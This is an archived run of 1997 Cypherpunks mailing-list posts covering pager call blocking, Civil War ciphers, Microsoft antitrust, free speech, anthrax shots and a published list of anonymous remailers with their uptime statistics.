Message-ID: <19971221204006.25556.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

gburnore@netcom.com (Gary L. Burnore) wrote:

> :> :Actually in the case of anonymous e-mail you have one additional
> :> :safeguard.  You can ask to be blocked from receiving anonymous e-mail.  Try
> :> :telling the telephone company that you want to be blocked from receiving
> :> :calls from any pay phone! 
> :>
> :> It's available now.  The first to use it are pager companies.
> :      
> :Why would a pager company want to block calls from pay phones?
>  
> Because they (the pager companies) have been ordered to pay the charges
> related to calls made to their service from pay phones.  18.5 cents per call
> was the number the fed agreed to.  Keeping up with the telecommunications
> industry is difficult, eh?

First of all, I was not aware that Politas was running a pager company
when I suggested that it might be difficult for HIM to ask the telephone
company to block all calls from pagers.  Presumably an individual would
have a lot less clout in such situations than a high volume customer such
as a paging company might have.

Second, as you can probably tell from his return address, Politas is located 
in Australia, where different rules apply.

Third, I doubt that the telecommunications industry is any more difficult
to keep up with than any other industry, provided you have some need to do
so.  Of the thousands of industries out there, telecommunications is not one
that I follow intensely.
 
> : Haven't 
> :you seen that commercial (for MCI?) where the kids crowd into that phone
> :booth and page someone to pick them up from school before the big
> :storm hits?
>  
> Yeah, corny commercial.
>  
> : Imagine if they had gotten a recording saying "I'm sorry.
> :You can't page this number from a pay phone."  Really bad PR!
>  
> Just as bad as the PR when you tell everyone your new 800 pager number and
> tell them "But you have to call from a real phone not a pay phone" and then
> explain why a pay phone isn't a "real phone".

Just don't sign up for pager service with a company that blocks calls from
pay phones, then.  Then you don't have to try to re-educate everyone whenever
the definition of "real phone" changes.  Let the pager companies pass along
the surcharge to customers who choose to be pager-accessible from pay phones.
I figure if an extra 18.5 cents is going to make that much of a difference to
me, I probably didn't want to talk to that person that badly, anyway.  So I'd
either opt to not pay extra for 800 access, and let people page me at their
own expense, or else be more selective who I gave my toll-free access
number to.

I have a friend who has basic pager service with a local, non-toll-free
access number.  He also has separate 800 service that rings through to his
pager number.  The more expensive 800 number is given out more selectively
than the local number.

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Mon, 22 Dec 1997 11:15:44 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Is Anonymous Communication only for "Criminals"?
In-Reply-To: <v0310280bb0c1b61aa9c3@[207.167.93.63]>
Message-ID: <199712220308.VAA01679@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> (Even the _ability_ to block a pay phone, qua pay phone, must imply that
> pay phones send out some kind of signal announcing themselves as pay
> phones, which I had not heard of before. I assumed a pay phone was Just
> Another Phone Number.)

Telephone switches generate (receive) a digit that is known as Call Type.
Simplistically, Call Types may be 1+ for regular calls, 800 for 800 calls,
Conference, and 0+ for operator/payphone call.

One of the switch features may be some kind of call type blocking,
or passing the call type to the termination side, such as the pager
company computer.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim@mentat.com (Jim Gillogly)
Date: Mon, 22 Dec 1997 13:52:42 +0800
To: ravage@ssz.com
Subject: Re: Civil War Crypto Question...
Message-ID: <9712220546.AA23496@mentat.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate skribis:
> On pp. 43 - 44 [of Hagerman's "The American Civil War..."]
> ... a 'cipher disk' whereby the Union was able to
> change their telegraph codes on an hourly schedule. It was apparently very
> effictive in dealing with taps and such.
> 
> Anyone know of another source that discusses this disk? I looked in Applied

There's a very brief mention of a disk in "Masked Dispatches: Cryptograms
and Cryptology in American History, 1775-1900", available from the NSA
Central Security Service.  (Series 1, Pre-World War 1, Volume 1, United
States Cryptologic History), Center for Cryptologic History, by Ralph
E. Weber, 1993.

On page 110 he says: "The North, on the other hand, adopted a handy "on-line"
means of changing the basic flag code by prearrangement or at will, even within
the act of transmission.  This was done with a disk, in which the alphabet on
the inner disk revolved against an outer ring of flag combination, enabling an
instant change of code."

My impression from this and from the chapter summary is that the disk was
used for flag codes but not telegraphy.  For telegraphy the Union apparently
used a word-based route transposition that Friedman found unimpressive.

It's clearly different from the brass cipher disk used by the Confederates,
which used letters rather than flag positions as the ciphertext alphabet.

Weber doesn't include pictures of the disk.

	Jim Gillogly
	Sterday, 2 Yule S.R. 1998, 05:45
	12.19.4.14.0, 10 Ahau 18 Mac, First Lord of Night





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 22 Dec 1997 13:04:37 +0800
To: cypherpunks@toad.com
Subject: Re: Hate speech and censorship
In-Reply-To: <v03102802b0c3484bd59d@[206.170.115.5]>
Message-ID: <a3H4He53w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lance Cottrell <loki@infonex.com> writes:

> At 10:58 AM -0500 12/20/97, Dr.Dimitri Vulis KOTM wrote:
> <SNIP>
> >I also wouldn't trust Lance Cottrell.  He's selling privacy for the $$, not
> >for the ideology; he'll bend over the moment he thinks there's more $$ in
> >bending over, which is usually the case.
> >Remember how Sameer Parekh's C2Net used to try to peddle a "privacy ISP"
> >because he failed miserable and diversified into peddiling shitty software
> >and making idiotic legal threats? He happily pulled plugs bases on content,
> >while at the same time stating in court papers that he doesn't censor conten
> >What a pathological liar.
> >
>
> I am very glad some helpful anonymous individual forwarded this note to me.
> These days I only read a filtered version of the Cypherpunks, although I
> host one of the unfiltered nodes, and Dr. Vulis has been in my kill file
> for some time.

I presume he won't see this response then.

> I am a bit startled at his assumption that because I charge for my services
> that I would bend at the first sign of trouble or pressure. Allow me to

No, this is not my reasoning.  I've concluded, based on the analysis of
numerous quotes from Cottrell, that he sounds like an opponent of anonymity,
privacy, and free speech (witness his attacks on "HipCrime", his censorship
of "spam" (the term now used by censors to describe any content they don't
approve of)  et al - just use DejaNews).  An "anti-spammer" selling "privacy"
services is a lot like a devout nun working as a prostitute to support
her convent - she does it for the money, but her heart won't be in it.

Of course I respect lance's right to hold whatever beliefs he chooses and
to oppose free speech. However I advise anyone against trusting a person
who states that he opposes "spam" (defined as any content he doesn't like).

If you use "Anonymizer", Lance will know who you are, and he states on his
web site that he will reveal your identity if you "abuse" his service (which
might well mean simply expressing an opinion that Lance doesn't like and
judges to be "spam").

if Lance Cottrell wants to salvage the remains of his credibility, he should
state unequivocally that he supports "spam" as defined by Chris Lewis.

[snip]
> Dr. Vulis' attack on Sameer was much worse than his attack on me. It is
> totally off base. Sameer handed off most of his "privacy ISP" business to
> me. The reason for this was not that it was failing, but that the software
> side of the business was so much more successful. About half his efforts
> were going toward a service generating about 10% of his revenues. Not to
> focus his efforts would have been very poor business practice.

As documented before, Sameer closed shop on C2net as a "privacy" ISP at
about the same time (Oct 96) as
a) Software Publishers Association sued him for software privacy and he
was claiming in court papers that he doesn't censor content (as well as
whining on this mailing list and begging for help)
b) he simultaneously pulled the plug on one of his subscribers because
he didn't like the contents of that subscibers's web page, which expressed
critical opinions about Timmy May.
This proves, in my opinion, that Sameer is a pathological liar.
Further his settlement with SPA was a miserable failure for him,

Sameer is also notorious for making legal threats against those who question
the security of the crypto software he peddles. The fact that he dispatches
his shysters to make threats, instead of even trying to answer our concerns
with facts, shows how much he himself believes in his products.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 22 Dec 1997 12:50:37 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Civil War Crypto Question...
Message-ID: <199712220505.XAA16383@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

I have been reading [1] regarding the beginning of the modern martial
traditions and methods. In chapter 2, 'Tactical and Strategic
Reorganization', in which the birth of the Signal Corp under Myer (by order
of McClellan) and the ensuing conflicts with Military Telegraph under Stager
are discussed. On pp. 43 - 44 there is a discussion on some processes that
Myer implimented including a 'cipher disk' whereby the Union was able to
change their telegraph codes on an hourly schedule. It was apparently very
effictive in dealing with taps and such.

Anyone know of another source that discusses this disk? I looked in Applied
Crypto as well as several other books including a Dover reprint of a book
from the 30's w/o success. I would in particular like to see a photo or
other diagram of its operation.

Thanks for any help you can provide.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


[1]  The American Civil War and the Origins of Modern Warfare:
     Ideas, Organization, and Field Command
     Edward Hagerman
     ISBN 0-253-30546-2





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Mon, 22 Dec 1997 12:56:07 +0800
To: David Honig <cypherpunks@toad.com
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <v03007800b0bf50ceed20@[207.172.112.244]>
Message-ID: <3.0.2.32.19971221231936.03830498@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>Tim's analysis is nonsensical.
>>
>>A government employee loses his job because of his political
>>views. He brings a lawsuit, alleging a violation of the First
>>Amendment, and eventually prevails in the Supreme Court.
>>
>>A non-government employee who loses his job because of his
>>political views would have no cause of action because the
>>private employer is not bound by the First Amendment.
>>
>>Therefore there should be far fewer government employees
>>to prevent further erosion of the First Amendment.

I sort of like Tim's reasoning.

It's reminiscent of Frank Chordorov's remarks back during the McCarthy Era.  
"If you're worried about Communists in government jobs; get rid of the 
government jobs."

DCF


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 22 Dec 1997 15:54:41 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Why I Support Microsoft
In-Reply-To: <19971220.051132.attila@hun.org>
Message-ID: <v03110704b0c3c7704fd1@[207.94.249.97]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:38 AM -0800 12/21/97, Tim May wrote:
>Anyway, the recent government actions against Microsoft are reprehensible
>to any person who values liberty. Microsoft is being punished for its
>success.

What I find most ironic about the whole Government/Microsoft thing it the
role the government had in helping Microsoft achieve its current market
position.  Early in the days of the IBM/PC, the government, along with many
major corporations, decided that the only desk top computers they bought
would be PCs.  There were many arguments about how they would save money by
having only one kind of system to support, and how by having multiple
suppliers, they would be able to buy hardware at competitive prices.

Well, one for two isn't bad.  The hardware is competitively priced.
However, the support costs are probably higher than competing systems (e.g.
Macintosh).

What was left out of the analysis was the cost of the software.  The OS is
considerably more expensive than e.g. Linux.  (And it is a hidden cost,
bundled in with the hardware cost.)  Then there is the cost of being held
by the balls by a single company.

Now the government could rectify some of the damage they helped cause by
doing the same thing any other computer purchaser can do.  Specify
non-Microsoft products.  Require special internal justification to purchase
a Microsoft product.  Require all systems to use open (e.g. IETF)
standards.  Ensure that there are several viable suppliers in all phases of
the market by buying from all of them.  Instead, they try to hobble
Microsoft.

I must admit to a guilty pleasure.  It couldn't happen to two nicer
organizations.  The Department of Justice and Microsoft.  It's almost the
same guilty pleasure I felt in watching the Iran-Iraq war.  They waste each
other's resources reducing their danger to the rest of us.  The only fly in
the ointment is that I am paying for one side of this war.


-------------------------------------------------------------------------
Bill Frantz       | One party wants to control | Periwinkle -- Consulting
(408)356-8506     | what you do in the bedroom,| 16345 Englewood Ave.
frantz@netcom.com | the other in the boardroom.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Tue, 23 Dec 1997 03:06:37 +0800
To: "Attila T. Hun" <attila@hun.org>
Subject: Re: Making them eat their words... (while they watch!)
In-Reply-To: <19971220.051132.attila@hun.org>
Message-ID: <Pine.BSF.3.91.971221235032.27649A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Sun, 21 Dec 1997, Attila T. Hun wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> > WASHINGTON (Reuters) - A federal judge Friday told Microsoft
> > Corp.  he easily uninstalled the company's Web browser
> > without breaking Windows 95 and ordered company officials to
> > explain why they could not do the same.  "Windows 95
> > functioned flawlessly" with Internet Explorer uninstalled,
> > U.S.  District Judge Thomas Penfield Jackson told Microsoft.
> >

I wonder if M$ will fire the coders who screwed up and allowed this to 
happen. Remember the old days at M$? "The job's not done until Lotus 
won't run."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SL Baur <steve@xemacs.org>
Date: Mon, 22 Dec 1997 16:30:33 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: Coercive Monopolism vs Wimpyness
In-Reply-To: <3.0.32.19971221183650.006b719c@cnw.com>
Message-ID: <m2n2htvl8f.fsf@altair.xemacs.org>
MIME-Version: 1.0
Content-Type: text/plain



Blanc <blancw@cnw.com> writes:

> And, since Windows OS is so pitifully lousy, why do people continue to buy
> it, even without the computer attached;  why do they continue to upgrade,
> even if it's so slow and bloated?   Don't they realize Unix is better?
> Don't they realize they're just making Billg richer?

Unix *is* far better and had the technology decades ago.

I don't agree with the US DOJ proceedings, but tell me why I have
disks full of software for my video card (amply covered by XFree86),
my sound card (amply covered by Linux drivers and Free utilities),
etc. etc. that I cannot use?

I danced through hoops to specifically avoid buying anything Microsoft 
and I still got stuck with a bunch of crap I won't ever use.

Where can I get a laptop without a pre-installed O/S (or with Linux
pre-installed) on it?

I think Microsoft is guilty as sin for monopolistic practices, but not
for what they're being charged for (unfortunately).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 22 Dec 1997 16:31:59 +0800
To: Lucky Green <cypherpunks@Algebra.COM
Subject: Re: Get your Anthrax shots
In-Reply-To: <Pine.BSF.3.96.971222071631.10955C-100000@pakastelohi.cypherpunks.to>
Message-ID: <v03102800b0c3c75ed9d7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:25 PM -0700 12/21/97, Lucky Green wrote:
>Those of you in urban soft target areas, expecially any of you living or
>working in DC or NYC, may want to consider getting vaccinated against
>Anthrax. It might come in handy before long.
>
>>From an US Army (?) press release:
>| The immunizations, requiring six shots over 18 months followed by annual
>| booster shots, will begin next summer with 100,000 American troops in
>the
>| Gulf region and Korean peninsula.

I thought these shots were "For Government Use Only."

Seems like more and more things are being declared For Law Enforcement Use
Only (causing we peons to have to pay more in the black markets and gun
shows for the Good Stuff).

Seriously, I'd guess that anyone showing up a doctor's office asking for an
Anthrax series is pretty much guaranteeing they'll be reported to the
Security Services.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@dueprocess.com>
Date: Mon, 22 Dec 1997 14:46:25 +0800
To: Tim May <tcmay@got.net>
Subject: PVT: Re: Automatic Translations
In-Reply-To: <v03102808b0c0a5dcb374@[207.167.93.63]>
Message-ID: <3.0.3.32.19971222013758.006d1a50@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:02 AM 12/20/97 +0100, Lucky Green wrote:
>
>On Fri, 19 Dec 1997, Tim May wrote:
>
>> I just discovered an
>> amazing, wonderful service which translates text into and from various
>> European languages. Samples included here, of this text.


Tim -

I missed your original post.  Assuming the service has a web page, what is
the URL?


Lynne


***************************************************************************
Lynne L. Harrison, Esq.         |  Lazlo's Chinese Relatively Axiom:
Poughkeepsie, New York          |  "No matter how great your triumphs or
mailto:lharrison@dueprocess.com |  how tragic your defeats, approximately
http://www.dueprocess.com       |  one billion Chinese couldn't care less."
***************************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Mon, 22 Dec 1997 17:53:44 +0800
To: "Bruce Balden" <cypherpunks@toad.com>
Subject: Re: Frank Olson
In-Reply-To: <01bd0d9e$6ed6b2c0$69737018@eudoxus.bc.rogers.wave.ca>
Message-ID: <3.0.3.32.19971222014649.0069a4a4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:24 PM 12/20/1997 -0800, Bruce Balden wrote:
>At that time, snail mail was pretty safe even from the spooks (with certain
>precautions). So what's your point?  If the military-industrial complex
>wants to ruin your life, it's the guns and fences and dogs that ultimately
>tell the story, cause your unbreakable cipher to be compromised yourself
>under truth drugs, etc.  The bureaucractic mess surrounding key recovery
>would probably make most spooks look for much more low-tech methods of
>compromising your security.

I won't comment on the truth or bogosity of the story, 
but as far as snail mail goes, US mail at least into the early 60s
was cheaper if you left the envelopes unsealed (like 4c vs. 5c.)
I got the impression it was a leftover from wartime censorship.

And email to some foreign destinations was inherently suspicious -
like Swiss banks.  I once knew a guy who used a remailer for his
mail to his bank - he'd mail it to Raoul at the Tijuana post office,
who'd take the cash and mail the inner envelope to the bank.

Mail covers have been legal for a long time as well -
as with pen registers on phones, they don't need a warrant to
track your traffic.
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Mon, 22 Dec 1997 18:37:39 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Why I Support Microsoft
In-Reply-To: <1.5.4.32.19971221205217.00741904@pop.pipeline.com>
Message-ID: <3.0.2.32.19971222053134.038305f0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:18 PM 12/21/97 -0700, Tim May wrote:

>Giving Clinton the cold shoulder was Intel. (Having worked for Craig
>Barrett and Andy Grove, I can tell you that they despise the Democrats.)
>
>Though not on the radar screen quite yet, I expect the real action will be
>targetted against Intel. Particularly if it looks like the Merced will
>effectively displace all mainframe and business-sized CPUs.

Bill Gates is in trouble because he is a squishy liberal and didn't know how 
to handle the Feds.

If the AntiTrust boys had gone after a company headed by someone who was 
aware of the nature of government (TJ Rogers of Cypress Semi par example), he 
would have just litigated the matter for 15 years or so and then when the 
decision came down it would be irrelevant no matter what it was.  What is the 
significance of a legal decision involving 15-year-old software?  But Bill 
didn't do that.  He signed the Consent Decree.  He thought that if one pays 
the Danegeld the Dane will stop bothering you.  It doesn't work that way.  
You sign an AntiTrust consent decree and you have the Feds beating you over 
the head with it for years.  [Ask the Great Atlantic and Pacific Tea Company 
which signed one in the 50's and almost ceased trading.]

Don't deal.  Litigate.  Much cheaper.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNJ5BhIVO4r4sgSPhAQEX9AP/dk/HxRPfQgKaDLKxtbTJGqtWas7FILec
hf4EaUM/9IYG0ixF0Y42hj3uHLk1IV0n+nVxGxLlfuSjl1Jm78GUzoD/z3cdlXTv
dvfMtPsMCb6NQfHbZ7tzNQAXhVcXZgM4Op5HoZgGsMHFoHc8PqRoxZ8rhuaKh9tu
E5s16iQENHY=
=4wWl
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 22 Dec 1997 23:05:11 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199712221450.GAA04087@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

This remailer list is somewhat phooey. Go check out
http://www.publius.net/rlist.html for a good one.

Last update: Thu 23 Oct 97 15:48:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hera     goddesshera@juno.com             ------------  5:03:45  99.86%
nym      config@nym.alias.net             +*#**#**###       :34  95.82%
redneck  config@anon.efga.org             #*##*+#****      2:00  95.44%
mix      mixmaster@remail.obscura.com     +++ ++++++*     19:18  95.27%
squirrel mix@squirrel.owl.de              -- ---+---    2:34:19  95.16%
cyber    alias@alias.cyberpass.net        *++***+ ++      11:26  95.11%
replay   remailer@replay.com              ****   ***      10:06  94.93%
arrid    arrid@juno.com                   ----.------   8:50:34  94.41%
bureau42 remailer@bureau42.ml.org          ---------    3:38:29  93.53%
cracker  remailer@anon.efga.org           +  +*+*+*+      16:32  92.80%
jam      remailer@cypherpunks.ca          +  +*-++++      24:14  92.79%
winsock  winsock@rigel.cyberpass.net      -..-..----    9:59:18  92.22%
neva     remailer@neva.org                ------****+   1:03:02  90.39%
valdeez  valdeez@juno.com                               4:58:22 -36.97%
reno     middleman@cyberpass.net                        1:01:28  -2.65%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Mon, 22 Dec 1997 14:27:29 +0800
To: cypherpunks@Algebra.COM
Subject: Get your Anthrax shots
Message-ID: <Pine.BSF.3.96.971222071631.10955C-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



Those of you in urban soft target areas, expecially any of you living or
working in DC or NYC, may want to consider getting vaccinated against
Anthrax. It might come in handy before long.

>From an US Army (?) press release:
| The immunizations, requiring six shots over 18 months followed by annual
| booster shots, will begin next summer with 100,000 American troops in
the
| Gulf region and Korean peninsula.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 22 Dec 1997 21:40:44 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Get your Anthrax shots
In-Reply-To: <v03102800b0c3c75ed9d7@[207.167.93.63]>
Message-ID: <199712221333.IAA02325@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102800b0c3c75ed9d7@[207.167.93.63]>, on 12/22/97 
   at 02:32 AM, Tim May <tcmay@got.net> said:

>At 11:25 PM -0700 12/21/97, Lucky Green wrote:
>>Those of you in urban soft target areas, expecially any of you living or
>>working in DC or NYC, may want to consider getting vaccinated against
>>Anthrax. It might come in handy before long.
>>
>>>From an US Army (?) press release:
>>| The immunizations, requiring six shots over 18 months followed by annual
>>| booster shots, will begin next summer with 100,000 American troops in
>>the
>>| Gulf region and Korean peninsula.

>I thought these shots were "For Government Use Only."

>Seems like more and more things are being declared For Law Enforcement
>Use Only (causing we peons to have to pay more in the black markets and
>gun shows for the Good Stuff).

>Seriously, I'd guess that anyone showing up a doctor's office asking for
>an Anthrax series is pretty much guaranteeing they'll be reported to the
>Security Services.

Well I don't know about you Tim but my Doctors only know me as Mr. Cash.
:)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJ5rtI9Co1n+aLhhAQLZlwQAknbdCpcLZ1fx/YXe7hGnjWAWusz//q+d
jy/JihA9p+nzpagOEk7MwtE4+c/EmeMQxSZi2G3opmxRWAO6qkw4XAlPcJ1bcNlW
JsBYJC9hz97s2Oyx/yXxhuf1t54mszSsOA3kW/8EElD3gtcRYraUgHuddNNnx7AP
+aUxLpp8d3A=
=ngpK
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 23 Dec 1997 00:53:18 +0800
To: Asgaard <cypherpunks@algebra.com
Subject: Re: Get your Anthrax shots OR Jim Bell hits Sweden
In-Reply-To: <v03102800b0c3c75ed9d7@[207.167.93.63]>
Message-ID: <v03102801b0c42e5b0c25@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:35 AM -0700 12/22/97, Asgaard wrote:
>...
>Technology. Bell had several containers with poisonous
>chemicals in his garage. Right-wing extremist litterature
>and bomb-making manuals were found in his car. When
>interrogated, his acquaintances told that Bell had been
>trying to manufactor botulinum toxin from green beens.
>**********************************************************
>
>It's interesting to see the story grow when journalists
>quote from each other's sensationalist reports. Next time
>they need a face for a story on nuclear terrorism, I guess
>other devices might pop up retrospectively in Jim's garage.
>Perhaps he even had a suitcase there.

I'll take a stab at writing that squib, but journalists who use it should
credit me:

"Bell was also apparently planning a nuclear terrorism incident, as nuclear
materials were found attached to the ceiling in his home. When agents from
